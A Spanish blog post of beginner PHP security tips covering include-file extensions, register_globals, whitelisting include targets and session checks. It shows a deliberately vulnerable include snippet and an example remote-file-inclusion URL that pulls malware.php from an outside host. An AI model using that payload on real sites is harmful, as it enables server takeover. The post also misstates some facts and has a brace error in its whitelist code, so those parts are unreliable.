Seguridad básica programando en PHP

Seguridad básica programando en PHP

Seguridad básica programando en PHP

Un amigo lector me contactó para que le indicara otros tips de seguridad para el desarrollo de su aplicación web. Este amigo lector hizo referencia al artículo “Consejos de seguridad programando en PHP” en el cual presento algunos consejos prácticos para aumentar la seguridad a nuestras aplicaciones web.

Nótese que siempre que me refiero al producto final de una programación en PHP la llamo “Aplicación” y no “Página Web”, aunque en algunos casos la utilizo como sinónimo; pero no lo son, sin embargo, en sentido general las personas asocian todo lo que viene por la World Wide Web como “Página”. Y es para responder a otro amigo lector que me hizo la pregunta.

El hecho es que si definimos la palabra “Aplicación” en términos informáticos, según Wikipedia: “es un tipo de programa informático diseñado como herramienta para permitir a un usuario realizar uno o diversos tipos de trabajo.”.

Entonces, personalmente catalogo todo proyecto realizado en PHP como una aplicación que se ejecuta a través de la World Wide Web y que utiliza como “compilador o intérprete”, al navegador.

Regresando al tema, aquí tengo otros consejos prácticos a modo más sencillo para optimizar la seguridad de nuestras aplicaciones:

1. Siempre utilizar la extensión .php para los archivos de inclusión (“include” o “requiere”)

En muchas aplicaciones opensource y comerciales he visto que los archivos de inclusión tienen una extensión relativa a la función del archivo o modo de uso a nivel de diseño de la estructura de una aplicación web, por ejemplo include.config, para referirse a un archivo de inclusión que contiene la información de configuración como usuario/contraseña/host/nombrebasededatos.

Esto es una brecha de seguridad muy grave ya que, el navegador reconoce este archivo como un archivo de texto y nos muestra todo su contenido si se accede a este directamente. Por ejemplo: http://localhost/.include.config. Hagan la prueba y lo verán.

Para evitar esto debemos siempre poner una extensión del lenguaje que utilizamos a cualquier archivo de inclusión, así: include.config.php

2. Asegurarnos que la instrucción register_globals esté apagada o “off” en el archivo php.ini de nuestro servidor.

Es muy importante que esta instrucción de apache esté “off”, a no ser que sea estrictamente necesario tenerla “on”. Aun así, recomiendo siempre programar utilizando el modo “off”.

Esto evita que las variables quie utilizamos no pasen sin ser filtradas por un arreglo de variable de servidor como $_POST, $_GET, o $_REQUEST. De lo contrario cualquiera puede tener acceso a pasar variables de forma directa a nuestros formularios y base de datos desde la barra de direcciones y alterar incluso variables de sesión.

3. Nunca utilizar include o requiere directamente sin antes ser revisadas

En el punto 1 les explicaba el tema de las extensiones con el ejemplo de los inlcudes para representar la idea. Pero, mas aun, estas instrucciones son muy peligrosas si no se valida la información si el include depende de un imput del usuario. Ejemplo:

if(isset($include))
{
include($include)
}

Esto que acabamos de ver indica que incluyamos el archivo cuyo nombre, o ruta esta contenida en la variable $include, suponiendo que register_global este “on” en php.ini como les planteaba en le punto 2. Si esto es así podemos ser atacados fácilmente a través de la barra de direcciones del navegador así:

http://localhost/item.php?include=http://otrosite.com/malware.php

Terrible.

Para evitar esto, primero recordemos siempre tener register_globals “off” en el php.ini de nuestro servidor. y lo segundo es validar los archivos que pueden ser incluidos, así:

$includes = array(‘include.config.php’,’main.php’);

if( in_array($_REQUEST[‘include’], $includes))
{
include($_REQUEST[‘include’]);
{
else
{
echo “No se puede incluir el archivo especificado”;
}

Esto nos puede evitar ataques directos de la forma mas sencilla pero que pueden terminar siendo una grave debilidad de seguridad. Nótese que no filtro la variable include o $_REQUEST[‘include’] para determinar el tipo y eliminar cualquier código HTML o etiqueta para que sea mas simple de entender; pero refiérase a mi artículo anterior sobre seguridad en php para optimizar y validar estos inputs.

4. Proteger las áreas restringidas con sesiones

He auditado varias aplicaciones web en PHP y he encontrado una constante entre lso programadores mas novatos y es que para validar cuantas lo hacen solo al momento del “login” o verificación luego no preguntan a lo largo de la aplicación si la persona que visualiza es la misma que hizo login o fue validado.

Esto es que capturan el user y el password en un formulario, registran las variables de sesión y luego no las vuelven a utilizar.

Es realmente importante validar los datos de la sesión cada vez que presentemos información al usuario. Por ejemplo:

if($_SESSION[‘username’] == $_row[‘username’]){
//bien puedes ver la información
}else{
//lo siento no tienes permiso de ver esta información
exit;
}

Estos son algunos consejos para novatos como mi amigo lector, sin ofender, ya que le expresamente me dijo eso, que nos pueden ayudar a ir familiarizándonos con la seguridad de nuestras aplicaciones PHP. Espero te sea de utilidad. 😉

Créditos de la imagen: hubpages.com